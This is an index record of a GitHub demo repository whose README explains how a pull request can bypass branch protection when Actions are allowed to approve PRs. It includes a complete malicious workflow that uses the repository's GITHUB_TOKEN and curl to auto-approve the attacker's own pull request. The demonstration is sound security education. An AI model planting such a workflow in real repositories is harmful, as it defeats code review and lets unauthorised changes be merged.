{"id":17676717,"url":"https://github.com/tuladhar/bypassing-branch-protections-with-github-actions","last_synced_at":"2025-06-30T08:36:46.595Z","repository":{"id":175507086,"uuid":"654006167","full_name":"tuladhar/bypassing-branch-protections-with-github-actions","owner":"tuladhar","description":"Demo - Bypassing Branch Protections with Github Actions","archived":false,"fork":false,"pushed_at":"2023-06-18T06:13:49.000Z","size":9,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-30T17:34:14.771Z","etag":null,"topics":["github","githubactions","security"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tuladhar.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-15T07:42:21.000Z","updated_at":"2023-06-18T13:25:51.000Z","dependencies_parsed_at":null,"dependency_job_id":"b2338176-390f-42a3-b8a5-fd7c6746d7e1","html_url":"https://github.com/tuladhar/bypassing-branch-protections-with-github-actions","commit_stats":null,"previous_names":["tuladhar/test","tuladhar/bypassing-branch-protections-with-github-actions"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/tuladhar/bypassing-branch-protections-with-github-actions","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuladhar%2Fbypassing-branch-protections-with-github-actions","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuladhar%2Fbypassing-branch-protections-with-github-actions/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuladhar%2Fbypassing-branch-protections-with-github-actions/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuladhar%2Fbypassing-branch-protections-with-github-actions/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tuladhar","download_url":"https://codeload.github.com/tuladhar/bypassing-branch-protections-with-github-actions/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tuladhar%2Fbypassing-branch-protections-with-github-actions/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":262739910,"owners_count":23356798,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["github","githubactions","security"],"created_at":"2024-10-24T07:26:30.705Z","updated_at":"2025-06-30T08:36:46.568Z","avatar_url":"https://github.com/tuladhar.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Bypassing Branch Protections with Github Actions\n\nThis is a demo show cases the bypassing of branch protection with GitHub Actions based on [YouTube video](https://www.youtube.com/watch?v=UbfhVXJn6fk)\n\n![image](https://github.com/tuladhar/bypassing-branch-protections-with-github-actions/assets/5674762/57996f5e-c009-458d-bb09-e6fd9658daf7)\n\n## How it works?\n\n### Victim\n1. Configure the repository to allow GitHub Actions to approve PRs\n![image](https://github.com/tuladhar/bypassing-branch-protections-with-github-actions/assets/5674762/61bcbfa6-fe76-4e6d-90f4-85ea70de7e1c)\n\n\u003e NOTE: As per the [blog posted on May 3rd, 2022 by GitHub](https://github.blog/changelog/2022-05-03-github-actions-prevent-github-actions-from-creating-and-approving-pull-requests/)https://github.blog/changelog/2022-05-03-github-actions-prevent-github-actions-from-creating-and-approving-pull-requests/. New repository by default comes with above setting turned off.\n\n2. Configure branch protection on `main` branch.\n\u003cimg width=\"821\" alt=\"Screen Shot 2023-06-18 at 11 48 56 AM\" src=\"https://github.com/tuladhar/bypassing-branch-protections-with-github-actions/assets/5674762/f422d785-5e1c-4c9b-ae7c-eb919c94dcaf\"\u003e\n\n### Attacker\n1. Creates a branch with malicious actions workflow file: `dodgy.yaml`\n```\nname: APPROVE\n\non: pull_request\n\npermissions:\n  pull-requests: write\n\njobs:\n  approve:\n    runs-on: ubuntu-latest    \n    steps:\n    - run: |\n        curl --request POST \\\n        --url https://api.github.com/repos/${{github.repository}}/pulls/${{github.event.number}}/reviews \\\n        --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \\\n        --header 'content-type: application/json' \\\n        -d '{\"event\": \"APPROVE\"}'\n```\n2. Creates a pull request from malicious branch and behind the scene:\n- Workflow is triggered on new PR\n- `approve` job is executed against the PR\n- `github-actions[bot]` automatically approves the PR\n- Attacker is able to merge the PR without victim's consent and bypassing branch protection requiring 1 approval.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuladhar%2Fbypassing-branch-protections-with-github-actions","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftuladhar%2Fbypassing-branch-protections-with-github-actions","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftuladhar%2Fbypassing-branch-protections-with-github-actions/lists"}